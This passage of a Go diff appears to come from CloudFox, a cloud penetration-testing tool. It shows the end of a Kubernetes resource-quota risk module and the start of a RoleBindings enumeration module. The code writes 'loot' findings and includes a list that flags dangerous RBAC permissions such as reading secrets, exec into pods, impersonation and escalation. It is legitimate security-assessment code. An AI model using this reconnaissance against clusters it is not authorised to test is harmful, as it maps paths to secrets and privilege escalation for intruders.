if len(analysis.ExcessiveQuotas) > 0 {
|
||||
loot.Section("Excessive-Quotas").Addf("\n### [%s] %s", analysis.RiskLevel, ns)
|
||||
for _, excessive := range analysis.ExcessiveQuotas {
|
||||
loot.Section("Excessive-Quotas").Addf("# %s", excessive)
|
||||
}
|
||||
loot.Section("Excessive-Quotas").Add("")
|
||||
}
|
||||
|
||||
// Loot: Missing limit ranges
|
||||
if !analysis.HasLimitRange && !analysis.IsSystemNamespace {
|
||||
loot.Section("Missing-LimitRanges").Addf("\n### [%s] %s", shared.RiskMedium, ns)
|
||||
loot.Section("Missing-LimitRanges").Add("# Risk: Pods can request unbounded CPU/memory")
|
||||
loot.Section("Missing-LimitRanges").Add("# Impact: Noisy neighbor, resource contention, cluster instability")
|
||||
loot.Section("Missing-LimitRanges").Add("")
|
||||
}
|
||||
|
||||
// Loot: Utilization analysis
|
||||
if analysis.HasResourceQuota && (analysis.CPUUsed != "" || analysis.MemoryUsed != "") {
|
||||
loot.Section("Quota-Utilization").Addf("\n### %s", ns)
|
||||
if analysis.CPUQuota != "" && analysis.CPUUsed != "" {
|
||||
loot.Section("Quota-Utilization").Addf("# CPU: %s / %s", analysis.CPUUsed, analysis.CPUQuota)
|
||||
}
|
||||
if analysis.MemoryQuota != "" && analysis.MemoryUsed != "" {
|
||||
loot.Section("Quota-Utilization").Addf("# Memory: %s / %s", analysis.MemoryUsed, analysis.MemoryQuota)
|
||||
}
|
||||
loot.Section("Quota-Utilization").Addf("kubectl top pods -n %s --no-headers | awk '{sum+=$2} END {print sum}'", ns)
|
||||
loot.Section("Quota-Utilization").Add("")
|
||||
}
|
||||
|
||||
// Loot: Remediation
|
||||
if len(analysis.SecurityIssues) > 0 {
|
||||
loot.Section("Remediation-Guide").Addf("\n### %s - %d Issues", ns, len(analysis.SecurityIssues))
|
||||
for i, issue := range analysis.SecurityIssues {
|
||||
loot.Section("Remediation-Guide").Addf("# %d. %s", i+1, issue)
|
||||
}
|
||||
loot.Section("Remediation-Guide").Add("# Remediation:")
|
||||
if !analysis.HasResourceQuota {
|
||||
loot.Section("Remediation-Guide").Add("# - Create ResourceQuota with appropriate limits")
|
||||
loot.Section("Remediation-Guide").Add("# kubectl create quota quota-example -n " + ns + " --hard=cpu=10,memory=20Gi,pods=20")
|
||||
}
|
||||
if !analysis.HasLimitRange {
|
||||
loot.Section("Remediation-Guide").Add("# - Create LimitRange with default limits")
|
||||
}
|
||||
loot.Section("Remediation-Guide").Add("")
|
||||
}
|
||||
}
|
||||
|
||||
// Add detailed quota analysis
|
||||
var quotaDetails []ResourceQuotaDetail
|
||||
for _, quota := range allQuotasList {
|
||||
detail := analyzeResourceQuotaDetail("a)
|
||||
quotaDetails = append(quotaDetails, detail)
|
||||
|
||||
if len(detail.Issues) > 0 {
|
||||
loot.Section("Cost-Optimization").Addf("\n### %s/%s", detail.Namespace, detail.Name)
|
||||
for _, issue := range detail.Issues {
|
||||
loot.Section("Cost-Optimization").Addf("# %s", issue)
|
||||
}
|
||||
loot.Section("Cost-Optimization").Add("")
|
||||
}
|
||||
}
|
||||
|
||||
// Build second table for detailed quota analysis
|
||||
quotaHeaders := []string{
|
||||
"Namespace",
|
||||
"Quota Name",
|
||||
"CPU Hard",
|
||||
"CPU Used",
|
||||
"Memory Hard",
|
||||
"Memory Used",
|
||||
"Pods Hard",
|
||||
"Pods Used",
|
||||
"Issues",
|
||||
}
|
||||
|
||||
var quotaRows [][]string
|
||||
for _, detail := range quotaDetails {
|
||||
quotaRows = append(quotaRows, []string{
|
||||
detail.Namespace,
|
||||
detail.Name,
|
||||
getHardLimit(detail, "cpu"),
|
||||
getUsedLimit(detail, "cpu"),
|
||||
getHardLimit(detail, "memory"),
|
||||
getUsedLimit(detail, "memory"),
|
||||
getHardLimit(detail, "pods"),
|
||||
getUsedLimit(detail, "pods"),
|
||||
fmt.Sprintf("%d", len(detail.Issues)),
|
||||
})
|
||||
}
|
||||
|
||||
// Add summary
|
||||
if riskCounts.Critical > 0 || riskCounts.High > 0 {
|
||||
summary := fmt.Sprintf(`
|
||||
# SUMMARY: Risk Distribution
|
||||
# CRITICAL: %d namespaces with critical quota risks
|
||||
# HIGH: %d namespaces with high quota risks
|
||||
# MEDIUM: %d namespaces with medium quota risks
|
||||
# LOW: %d namespaces with low/acceptable quotas
|
||||
#
|
||||
# Focus on CRITICAL and HIGH risk namespaces for immediate remediation.
|
||||
`, riskCounts.Critical, riskCounts.High, riskCounts.Medium, riskCounts.Low)
|
||||
loot.Section("Unprotected-Namespaces").SetSummary(summary)
|
||||
}
|
||||
|
||||
table1 := internal.TableFile{
|
||||
Name: "Namespace-Quotas",
|
||||
Header: headers,
|
||||
Body: outputRows,
|
||||
}
|
||||
|
||||
table2 := internal.TableFile{
|
||||
Name: "Quota-Details",
|
||||
Header: quotaHeaders,
|
||||
Body: quotaRows,
|
||||
}
|
||||
|
||||
lootFiles := loot.Build()
|
||||
|
||||
if err := internal.HandleOutput(
|
||||
"Kubernetes",
|
||||
format,
|
||||
outputDirectory,
|
||||
verbosity,
|
||||
wrap,
|
||||
"ResourceQuotas",
|
||||
globals.ClusterName,
|
||||
"results",
|
||||
ResourceQuotasOutput{
|
||||
Table: []internal.TableFile{table1, table2},
|
||||
Loot: lootFiles,
|
||||
},
|
||||
); err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error handling output: %v", err), globals.K8S_RESOURCEQUOTAS_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
if len(outputRows) > 0 {
|
||||
logger.InfoM(fmt.Sprintf("%d namespaces analyzed | Risk: CRITICAL=%d, HIGH=%d, MEDIUM=%d, LOW=%d",
|
||||
len(outputRows),
|
||||
riskCounts.Critical, riskCounts.High, riskCounts.Medium, riskCounts.Low),
|
||||
globals.K8S_RESOURCEQUOTAS_MODULE_NAME)
|
||||
} else {
|
||||
logger.InfoM("No namespaces found", globals.K8S_RESOURCEQUOTAS_MODULE_NAME)
|
||||
}
|
||||
|
||||
logger.InfoM(fmt.Sprintf("For context and next steps: https://github.com/BishopFox/cloudfox/wiki/Kubernetes-Commands#%s", globals.K8S_RESOURCEQUOTAS_MODULE_NAME), globals.K8S_RESOURCEQUOTAS_MODULE_NAME)
|
||||
}
|
||||
|
||||
// ====================
|
||||
// Helper Functions
|
||||
// ====================
|
||||
|
||||
func isSystemNamespace(ns string) bool {
|
||||
systemNS := []string{
|
||||
"kube-system",
|
||||
"kube-public",
|
||||
"kube-node-lease",
|
||||
"default",
|
||||
}
|
||||
|
||||
for _, sysNS := range systemNS {
|
||||
if ns == sysNS {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return strings.HasPrefix(ns, "kube-")
|
||||
}
|
||||
|
||||
func detectComplianceZoneNS(labels, annotations map[string]string) string {
|
||||
// Check labels
|
||||
for key, value := range labels {
|
||||
lowerKey := strings.ToLower(key)
|
||||
lowerValue := strings.ToLower(value)
|
||||
if strings.Contains(lowerKey, "compliance") || strings.Contains(lowerKey, "pci") || strings.Contains(lowerKey, "hipaa") {
|
||||
return value
|
||||
}
|
||||
if strings.Contains(lowerValue, "pci") {
|
||||
return "PCI"
|
||||
}
|
||||
if strings.Contains(lowerValue, "hipaa") {
|
||||
return "HIPAA"
|
||||
}
|
||||
}
|
||||
|
||||
// Check annotations
|
||||
for key, value := range annotations {
|
||||
lowerKey := strings.ToLower(key)
|
||||
if strings.Contains(lowerKey, "compliance") || strings.Contains(lowerKey, "pci") || strings.Contains(lowerKey, "hipaa") {
|
||||
return value
|
||||
}
|
||||
}
|
||||
|
||||
return ""
|
||||
}
|
||||
|
||||
func analyzeNamespaceQuotaSecurity(analysis *NamespaceQuotaAnalysis, quotas []corev1.ResourceQuota, limitRanges []corev1.LimitRange) []string {
|
||||
var issues []string
|
||||
|
||||
// Critical: No resource quota in non-system namespace
|
||||
if !analysis.HasResourceQuota && !analysis.IsSystemNamespace {
|
||||
issues = append(issues, fmt.Sprintf("%s: No ResourceQuota - unlimited resource consumption possible", shared.RiskCritical))
|
||||
analysis.DoSRisk = true
|
||||
}
|
||||
|
||||
// Critical: Compliance zone without quota
|
||||
if analysis.ComplianceZone != "" && !analysis.HasResourceQuota {
|
||||
issues = append(issues, fmt.Sprintf("%s: Compliance zone (%s) without ResourceQuota enforcement", shared.RiskCritical, analysis.ComplianceZone))
|
||||
}
|
||||
|
||||
// High: No limit range
|
||||
if !analysis.HasLimitRange && !analysis.IsSystemNamespace {
|
||||
issues = append(issues, fmt.Sprintf("%s: No LimitRange - pods can request unbounded resources", shared.RiskHigh))
|
||||
}
|
||||
|
||||
// Analyze quotas for excessive values
|
||||
for _, quota := range quotas {
|
||||
// Check CPU quota
|
||||
if cpu, ok := quota.Status.Hard[corev1.ResourceRequestsCPU]; ok {
|
||||
cpuVal := cpu.MilliValue()
|
||||
if cpuVal > 1000000 { // >1000 cores
|
||||
excessive := fmt.Sprintf("EXCESSIVE CPU quota: %s (>1000 cores)", cpu.String())
|
||||
issues = append(issues, excessive)
|
||||
analysis.ExcessiveQuotas = append(analysis.ExcessiveQuotas, excessive)
|
||||
analysis.CostRisk = shared.RiskHigh
|
||||
}
|
||||
}
|
||||
|
||||
// Check Memory quota
|
||||
if mem, ok := quota.Status.Hard[corev1.ResourceRequestsMemory]; ok {
|
||||
memVal := mem.Value()
|
||||
if memVal > 1024*1024*1024*1024 { // >1 TB
|
||||
excessive := fmt.Sprintf("EXCESSIVE Memory quota: %s (>1TB)", mem.String())
|
||||
issues = append(issues, excessive)
|
||||
analysis.ExcessiveQuotas = append(analysis.ExcessiveQuotas, excessive)
|
||||
analysis.CostRisk = shared.RiskHigh
|
||||
}
|
||||
}
|
||||
|
||||
// Check for missing critical quotas
|
||||
if _, hasCPU := quota.Status.Hard[corev1.ResourceRequestsCPU]; !hasCPU {
|
||||
analysis.MissingQuotas = append(analysis.MissingQuotas, "CPU requests")
|
||||
}
|
||||
if _, hasMem := quota.Status.Hard[corev1.ResourceRequestsMemory]; !hasMem {
|
||||
analysis.MissingQuotas = append(analysis.MissingQuotas, "Memory requests")
|
||||
}
|
||||
if _, hasPods := quota.Status.Hard[corev1.ResourcePods]; !hasPods {
|
||||
analysis.MissingQuotas = append(analysis.MissingQuotas, "Pod count")
|
||||
}
|
||||
if _, hasPVC := quota.Status.Hard[corev1.ResourcePersistentVolumeClaims]; !hasPVC {
|
||||
analysis.MissingQuotas = append(analysis.MissingQuotas, "PVC count")
|
||||
}
|
||||
}
|
||||
|
||||
if len(analysis.MissingQuotas) > 0 {
|
||||
issues = append(issues, fmt.Sprintf("%s: Missing quota types: %s", shared.RiskMedium, strings.Join(analysis.MissingQuotas, ", ")))
|
||||
}
|
||||
|
||||
return issues
|
||||
}
|
||||
|
||||
func calculateQuotaRiskScore(analysis *NamespaceQuotaAnalysis) (string, int) {
|
||||
score := 0
|
||||
|
||||
// No quota = critical risk
|
||||
if !analysis.HasResourceQuota && !analysis.IsSystemNamespace {
|
||||
score += 70
|
||||
}
|
||||
|
||||
// Compliance zone without quota = critical
|
||||
if analysis.ComplianceZone != "" && !analysis.HasResourceQuota {
|
||||
score += 30
|
||||
}
|
||||
|
||||
// No limit range
|
||||
if !analysis.HasLimitRange && !analysis.IsSystemNamespace {
|
||||
score += 20
|
||||
}
|
||||
|
||||
// Excessive quotas
|
||||
if analysis.CostRisk == shared.RiskHigh {
|
||||
score += 25
|
||||
}
|
||||
|
||||
// Missing critical quota types
|
||||
score += len(analysis.MissingQuotas) * 5
|
||||
|
||||
// Many pods without limits
|
||||
if analysis.PodsRunning > 10 && !analysis.HasLimitRange {
|
||||
score += 15
|
||||
}
|
||||
|
||||
// DoS risk
|
||||
if analysis.DoSRisk {
|
||||
score += 20
|
||||
}
|
||||
|
||||
// Determine risk level
|
||||
if score >= 70 {
|
||||
return shared.RiskCritical, rqMin(score, 100)
|
||||
} else if score >= 40 {
|
||||
return shared.RiskHigh, score
|
||||
} else if score >= 20 {
|
||||
return shared.RiskMedium, score
|
||||
}
|
||||
return shared.RiskLow, score
|
||||
}
|
||||
|
||||
func analyzeResourceQuotaDetail(quota *corev1.ResourceQuota) ResourceQuotaDetail {
|
||||
detail := ResourceQuotaDetail{
|
||||
Namespace: quota.Namespace,
|
||||
Name: quota.Name,
|
||||
HardLimits: make(map[string]string),
|
||||
UsedLimits: make(map[string]string),
|
||||
UtilizationPct: make(map[string]int),
|
||||
}
|
||||
|
||||
// Extract hard limits
|
||||
for resourceName, quantity := range quota.Status.Hard {
|
||||
detail.HardLimits[string(resourceName)] = quantity.String()
|
||||
}
|
||||
|
||||
// Extract used limits
|
||||
for resourceName, quantity := range quota.Status.Used {
|
||||
detail.UsedLimits[string(resourceName)] = quantity.String()
|
||||
}
|
||||
|
||||
// Calculate utilization percentages
|
||||
for resourceName, hardQuantity := range quota.Status.Hard {
|
||||
if usedQuantity, ok := quota.Status.Used[resourceName]; ok {
|
||||
hardVal := hardQuantity.Value()
|
||||
usedVal := usedQuantity.Value()
|
||||
|
||||
if hardVal > 0 {
|
||||
pct := int((float64(usedVal) / float64(hardVal)) * 100)
|
||||
detail.UtilizationPct[string(resourceName)] = pct
|
||||
|
||||
// Detect issues
|
||||
if pct > 90 {
|
||||
detail.Issues = append(detail.Issues, fmt.Sprintf("%s utilization >90%% (%d%%) - approaching limit", resourceName, pct))
|
||||
} else if pct < 10 && hardVal > 0 {
|
||||
detail.Issues = append(detail.Issues, fmt.Sprintf("%s utilization <10%% (%d%%) - over-provisioned", resourceName, pct))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Calculate risk level
|
||||
detail.RiskLevel = shared.RiskLow
|
||||
if len(detail.Issues) > 2 {
|
||||
detail.RiskLevel = shared.RiskMedium
|
||||
}
|
||||
for _, issue := range detail.Issues {
|
||||
if strings.Contains(issue, ">90%") {
|
||||
detail.RiskLevel = shared.RiskHigh
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
return detail
|
||||
}
|
||||
|
||||
func getHardLimit(detail ResourceQuotaDetail, resourceType string) string {
|
||||
// Try different resource name formats
|
||||
keys := []string{
|
||||
"requests." + resourceType,
|
||||
"limits." + resourceType,
|
||||
resourceType,
|
||||
}
|
||||
|
||||
for _, key := range keys {
|
||||
if val, ok := detail.HardLimits[key]; ok {
|
||||
return val
|
||||
}
|
||||
}
|
||||
|
||||
// Try pod count
|
||||
if resourceType == "pods" {
|
||||
if val, ok := detail.HardLimits["pods"]; ok {
|
||||
return val
|
||||
}
|
||||
}
|
||||
|
||||
return "-"
|
||||
}
|
||||
|
||||
func getUsedLimit(detail ResourceQuotaDetail, resourceType string) string {
|
||||
keys := []string{
|
||||
"requests." + resourceType,
|
||||
"limits." + resourceType,
|
||||
resourceType,
|
||||
}
|
||||
|
||||
for _, key := range keys {
|
||||
if val, ok := detail.UsedLimits[key]; ok {
|
||||
return val
|
||||
}
|
||||
}
|
||||
|
||||
if resourceType == "pods" {
|
||||
if val, ok := detail.UsedLimits["pods"]; ok {
|
||||
return val
|
||||
}
|
||||
}
|
||||
|
||||
return "-"
|
||||
}
|
||||
|
||||
func parseQuantity(s string) (int64, error) {
|
||||
q, err := resource.ParseQuantity(s)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return q.Value(), nil
|
||||
}
|
||||
|
||||
func rqMin(a, b int) int {
|
||||
if a < b {
|
||||
return a
|
||||
}
|
||||
return b
|
||||
}
|
||||
@@ -0,0 +1,640 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
k8sinternal "github.com/BishopFox/cloudfox/internal/kubernetes"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/config"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/sdk"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/shared"
|
||||
"github.com/spf13/cobra"
|
||||
rbacv1 "k8s.io/api/rbac/v1"
|
||||
"k8s.io/client-go/kubernetes"
|
||||
)
|
||||
|
||||
var RoleBindingsCmd = &cobra.Command{
|
||||
Use: "rolebindings",
|
||||
Aliases: []string{"rb", "bindings"},
|
||||
Short: "Enumerate RoleBindings and ClusterRoleBindings",
|
||||
Long: `Enumerate all RoleBindings and ClusterRoleBindings in the cluster.
|
||||
|
||||
This module provides a binding-centric view of RBAC configuration, showing:
|
||||
- What roles are bound to which subjects
|
||||
- The scope of each binding (namespace vs cluster)
|
||||
- Dangerous permissions granted through bindings
|
||||
- Bindings to admin/cluster-admin roles
|
||||
|
||||
This complements the permissions module which shows individual verb/resource pairs.
|
||||
|
||||
Usage:
|
||||
cloudfox kubernetes rolebindings`,
|
||||
Run: runRoleBindingsCommand,
|
||||
}
|
||||
|
||||
type RoleBindingsOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o RoleBindingsOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o RoleBindingsOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
// RoleBindingFinding represents a single role binding
|
||||
type RoleBindingFinding struct {
|
||||
// Basic info
|
||||
Name string
|
||||
Namespace string
|
||||
Type string // "RoleBinding" or "ClusterRoleBinding"
|
||||
Age string
|
||||
AgeInDays int
|
||||
|
||||
// Role reference
|
||||
RoleRefKind string // "Role" or "ClusterRole"
|
||||
RoleRefName string
|
||||
|
||||
// Subjects
|
||||
Subjects []SubjectInfo
|
||||
SubjectCount int
|
||||
|
||||
// Analysis
|
||||
IsAdminBinding bool
|
||||
IsClusterAdminBinding bool
|
||||
DangerousPermissions []string
|
||||
BindsToDefaultSA bool
|
||||
BindsToAllSAs bool
|
||||
OrphanedBinding bool // Role doesn't exist
|
||||
}
|
||||
|
||||
// SubjectInfo represents a subject in a binding
|
||||
type SubjectInfo struct {
|
||||
Kind string // User, Group, ServiceAccount
|
||||
Name string
|
||||
Namespace string // Only for ServiceAccount
|
||||
}
|
||||
|
||||
func runRoleBindingsCommand(cmd *cobra.Command, args []string) {
|
||||
ctx, cancel := shared.ContextWithCancel()
|
||||
defer cancel()
|
||||
logger := internal.NewLogger()
|
||||
|
||||
parentCmd := cmd.Parent()
|
||||
verbosity, _ := parentCmd.PersistentFlags().GetInt("verbosity")
|
||||
wrap, _ := parentCmd.PersistentFlags().GetBool("wrap")
|
||||
outputDirectory, _ := parentCmd.PersistentFlags().GetString("outdir")
|
||||
format, _ := parentCmd.PersistentFlags().GetString("output")
|
||||
|
||||
logger.InfoM(fmt.Sprintf("Enumerating role bindings for %s", globals.ClusterName), globals.K8S_ROLEBINDINGS_MODULE_NAME)
|
||||
|
||||
clientset := config.GetClientOrExit()
|
||||
|
||||
// Get all ClusterRoleBindings using cache
|
||||
clusterRoleBindings, err := sdk.GetClusterRoleBindings(ctx, clientset)
|
||||
if err != nil {
|
||||
shared.LogListError(&logger, "cluster role bindings", "", err, globals.K8S_ROLEBINDINGS_MODULE_NAME, true)
|
||||
return
|
||||
}
|
||||
|
||||
// Get all ClusterRoles for reference using cache
|
||||
clusterRoles, err := sdk.GetClusterRoles(ctx, clientset)
|
||||
if err != nil {
|
||||
shared.LogListError(&logger, "cluster roles", "", err, globals.K8S_ROLEBINDINGS_MODULE_NAME, false)
|
||||
clusterRoles = []rbacv1.ClusterRole{}
|
||||
}
|
||||
clusterRoleMap := make(map[string]*rbacv1.ClusterRole)
|
||||
for i := range clusterRoles {
|
||||
clusterRoleMap[clusterRoles[i].Name] = &clusterRoles[i]
|
||||
}
|
||||
|
||||
// Get all Roles and RoleBindings using cache
|
||||
allRoles, err := sdk.GetRoles(ctx, clientset)
|
||||
if err != nil {
|
||||
shared.LogListError(&logger, "roles", "", err, globals.K8S_ROLEBINDINGS_MODULE_NAME, false)
|
||||
allRoles = []rbacv1.Role{}
|
||||
}
|
||||
|
||||
allRoleBindings, err := sdk.GetRoleBindings(ctx, clientset)
|
||||
if err != nil {
|
||||
shared.LogListError(&logger, "role bindings", "", err, globals.K8S_ROLEBINDINGS_MODULE_NAME, false)
|
||||
allRoleBindings = []rbacv1.RoleBinding{}
|
||||
}
|
||||
|
||||
// Build role map by namespace
|
||||
roleMap := make(map[string]map[string]*rbacv1.Role) // namespace -> roleName -> role
|
||||
for i := range allRoles {
|
||||
ns := allRoles[i].Namespace
|
||||
if roleMap[ns] == nil {
|
||||
roleMap[ns] = make(map[string]*rbacv1.Role)
|
||||
}
|
||||
roleMap[ns][allRoles[i].Name] = &allRoles[i]
|
||||
}
|
||||
|
||||
var findings []RoleBindingFinding
|
||||
|
||||
// Process ClusterRoleBindings
|
||||
for i := range clusterRoleBindings {
|
||||
crb := clusterRoleBindings[i]
|
||||
finding := analyzeClusterRoleBinding(ctx, clientset, &crb, clusterRoleMap)
|
||||
findings = append(findings, finding)
|
||||
}
|
||||
|
||||
// Process RoleBindings
|
||||
for i := range allRoleBindings {
|
||||
rb := allRoleBindings[i]
|
||||
nsRoleMap := roleMap[rb.Namespace]
|
||||
if nsRoleMap == nil {
|
||||
nsRoleMap = make(map[string]*rbacv1.Role)
|
||||
}
|
||||
finding := analyzeRoleBinding(ctx, clientset, &rb, nsRoleMap, clusterRoleMap)
|
||||
findings = append(findings, finding)
|
||||
}
|
||||
|
||||
if len(findings) == 0 {
|
||||
logger.InfoM("No role bindings found", globals.K8S_ROLEBINDINGS_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Build output
|
||||
tables := buildRoleBindingsTables(findings)
|
||||
loot := buildRoleBindingsLoot(findings)
|
||||
|
||||
output := RoleBindingsOutput{
|
||||
Table: tables,
|
||||
Loot: loot,
|
||||
}
|
||||
|
||||
err = internal.HandleOutput(
|
||||
"Kubernetes",
|
||||
format,
|
||||
outputDirectory,
|
||||
verbosity,
|
||||
wrap,
|
||||
"RoleBindings",
|
||||
globals.ClusterName,
|
||||
"results",
|
||||
output,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.K8S_ROLEBINDINGS_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Summary
|
||||
crbCount := 0
|
||||
rbCount := 0
|
||||
adminCount := 0
|
||||
dangerousCount := 0
|
||||
for _, f := range findings {
|
||||
if f.Type == "ClusterRoleBinding" {
|
||||
crbCount++
|
||||
} else {
|
||||
rbCount++
|
||||
}
|
||||
if f.IsAdminBinding || f.IsClusterAdminBinding {
|
||||
adminCount++
|
||||
}
|
||||
if len(f.DangerousPermissions) > 0 {
|
||||
dangerousCount++
|
||||
}
|
||||
}
|
||||
|
||||
logger.InfoM(fmt.Sprintf("Found %d bindings: %d ClusterRoleBindings, %d RoleBindings",
|
||||
len(findings), crbCount, rbCount), globals.K8S_ROLEBINDINGS_MODULE_NAME)
|
||||
if adminCount > 0 || dangerousCount > 0 {
|
||||
logger.InfoM(fmt.Sprintf("Security: %d admin bindings, %d with dangerous permissions",
|
||||
adminCount, dangerousCount), globals.K8S_ROLEBINDINGS_MODULE_NAME)
|
||||
}
|
||||
|
||||
logger.InfoM(fmt.Sprintf("For context and next steps: https://github.com/BishopFox/cloudfox/wiki/Kubernetes-Commands#%s", globals.K8S_ROLEBINDINGS_MODULE_NAME), globals.K8S_ROLEBINDINGS_MODULE_NAME)
|
||||
}
|
||||
|
||||
func analyzeClusterRoleBinding(ctx context.Context, clientset *kubernetes.Clientset, crb *rbacv1.ClusterRoleBinding, clusterRoleMap map[string]*rbacv1.ClusterRole) RoleBindingFinding {
|
||||
finding := RoleBindingFinding{
|
||||
Name: crb.Name,
|
||||
Namespace: "cluster-wide",
|
||||
Type: "ClusterRoleBinding",
|
||||
RoleRefKind: crb.RoleRef.Kind,
|
||||
RoleRefName: crb.RoleRef.Name,
|
||||
}
|
||||
|
||||
// Calculate age
|
||||
finding.Age, finding.AgeInDays = calculateBindingAge(crb.CreationTimestamp.Time)
|
||||
|
||||
// Parse subjects
|
||||
finding.Subjects = parseSubjects(crb.Subjects)
|
||||
finding.SubjectCount = len(crb.Subjects)
|
||||
|
||||
// Check for special subject patterns
|
||||
for _, subj := range crb.Subjects {
|
||||
if subj.Kind == "ServiceAccount" && subj.Name == "default" {
|
||||
finding.BindsToDefaultSA = true
|
||||
}
|
||||
if subj.Kind == "Group" && (subj.Name == "system:serviceaccounts" || subj.Name == "system:authenticated") {
|
||||
finding.BindsToAllSAs = true
|
||||
}
|
||||
}
|
||||
|
||||
// Check for admin bindings
|
||||
if crb.RoleRef.Name == "cluster-admin" {
|
||||
finding.IsClusterAdminBinding = true
|
||||
finding.IsAdminBinding = true
|
||||
} else if crb.RoleRef.Name == "admin" {
|
||||
finding.IsAdminBinding = true
|
||||
}
|
||||
|
||||
// Check for orphaned binding
|
||||
if crb.RoleRef.Kind == "ClusterRole" {
|
||||
if _, exists := clusterRoleMap[crb.RoleRef.Name]; !exists {
|
||||
// Check if it's a system role that might not be in our map
|
||||
if !strings.HasPrefix(crb.RoleRef.Name, "system:") {
|
||||
finding.OrphanedBinding = true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Analyze dangerous permissions
|
||||
if clusterRole, exists := clusterRoleMap[crb.RoleRef.Name]; exists {
|
||||
finding.DangerousPermissions = analyzeRoleDangerousPermissions(clusterRole.Rules)
|
||||
}
|
||||
|
||||
return finding
|
||||
}
|
||||
|
||||
func analyzeRoleBinding(ctx context.Context, clientset *kubernetes.Clientset, rb *rbacv1.RoleBinding, roleMap map[string]*rbacv1.Role, clusterRoleMap map[string]*rbacv1.ClusterRole) RoleBindingFinding {
|
||||
finding := RoleBindingFinding{
|
||||
Name: rb.Name,
|
||||
Namespace: rb.Namespace,
|
||||
Type: "RoleBinding",
|
||||
RoleRefKind: rb.RoleRef.Kind,
|
||||
RoleRefName: rb.RoleRef.Name,
|
||||
}
|
||||
|
||||
// Calculate age
|
||||
finding.Age, finding.AgeInDays = calculateBindingAge(rb.CreationTimestamp.Time)
|
||||
|
||||
// Parse subjects
|
||||
finding.Subjects = parseSubjects(rb.Subjects)
|
||||
finding.SubjectCount = len(rb.Subjects)
|
||||
|
||||
// Check for special subject patterns
|
||||
for _, subj := range rb.Subjects {
|
||||
if subj.Kind == "ServiceAccount" && subj.Name == "default" {
|
||||
finding.BindsToDefaultSA = true
|
||||
}
|
||||
if subj.Kind == "Group" && (subj.Name == "system:serviceaccounts" || subj.Name == "system:authenticated") {
|
||||
finding.BindsToAllSAs = true
|
||||
}
|
||||
}
|
||||
|
||||
// Check for admin bindings
|
||||
if rb.RoleRef.Name == "cluster-admin" {
|
||||
finding.IsClusterAdminBinding = true
|
||||
finding.IsAdminBinding = true
|
||||
} else if rb.RoleRef.Name == "admin" {
|
||||
finding.IsAdminBinding = true
|
||||
}
|
||||
|
||||
// Check for orphaned binding and analyze permissions
|
||||
if rb.RoleRef.Kind == "ClusterRole" {
|
||||
if clusterRole, exists := clusterRoleMap[rb.RoleRef.Name]; exists {
|
||||
finding.DangerousPermissions = analyzeRoleDangerousPermissions(clusterRole.Rules)
|
||||
} else if !strings.HasPrefix(rb.RoleRef.Name, "system:") {
|
||||
finding.OrphanedBinding = true
|
||||
}
|
||||
} else {
|
||||
// Role reference
|
||||
if role, exists := roleMap[rb.RoleRef.Name]; exists {
|
||||
finding.DangerousPermissions = analyzeRoleDangerousPermissions(role.Rules)
|
||||
} else {
|
||||
finding.OrphanedBinding = true
|
||||
}
|
||||
}
|
||||
|
||||
return finding
|
||||
}
|
||||
|
||||
func parseSubjects(subjects []rbacv1.Subject) []SubjectInfo {
|
||||
var result []SubjectInfo
|
||||
for _, subj := range subjects {
|
||||
result = append(result, SubjectInfo{
|
||||
Kind: subj.Kind,
|
||||
Name: subj.Name,
|
||||
Namespace: subj.Namespace,
|
||||
})
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func calculateBindingAge(creationTime time.Time) (string, int) {
|
||||
age := time.Since(creationTime)
|
||||
days := int(age.Hours() / 24)
|
||||
|
||||
if days < 1 {
|
||||
hours := int(age.Hours())
|
||||
return fmt.Sprintf("%dh", hours), 0
|
||||
} else if days < 30 {
|
||||
return fmt.Sprintf("%dd", days), days
|
||||
} else if days < 365 {
|
||||
months := days / 30
|
||||
return fmt.Sprintf("%dmo", months), days
|
||||
}
|
||||
years := days / 365
|
||||
return fmt.Sprintf("%dy", years), days
|
||||
}
|
||||
|
||||
func analyzeRoleDangerousPermissions(rules []rbacv1.PolicyRule) []string {
|
||||
var dangerous []string
|
||||
seen := make(map[string]bool)
|
||||
|
||||
for _, rule := range rules {
|
||||
for _, resource := range rule.Resources {
|
||||
for _, verb := range rule.Verbs {
|
||||
var perm string
|
||||
|
||||
// Check for critical permissions
|
||||
if resource == "*" && verb == "*" {
|
||||
perm = "wildcard (*/*)"
|
||||
} else if resource == "*" {
|
||||
perm = fmt.Sprintf("%s on all resources", verb)
|
||||
} else if verb == "*" {
|
||||
perm = fmt.Sprintf("all verbs on %s", resource)
|
||||
} else if resource == "secrets" && (verb == "get" || verb == "list" || verb == "*") {
|
||||
perm = fmt.Sprintf("%s secrets", verb)
|
||||
} else if resource == "pods/exec" && (verb == "create" || verb == "*") {
|
||||
perm = "exec into pods"
|
||||
} else if resource == "pods" && verb == "create" {
|
||||
perm = "create pods"
|
||||
} else if (resource == "rolebindings" || resource == "clusterrolebindings") && verb == "create" {
|
||||
perm = fmt.Sprintf("create %s", resource)
|
||||
} else if verb == "impersonate" {
|
||||
perm = fmt.Sprintf("impersonate %s", resource)
|
||||
} else if verb == "escalate" || verb == "bind" {
|
||||
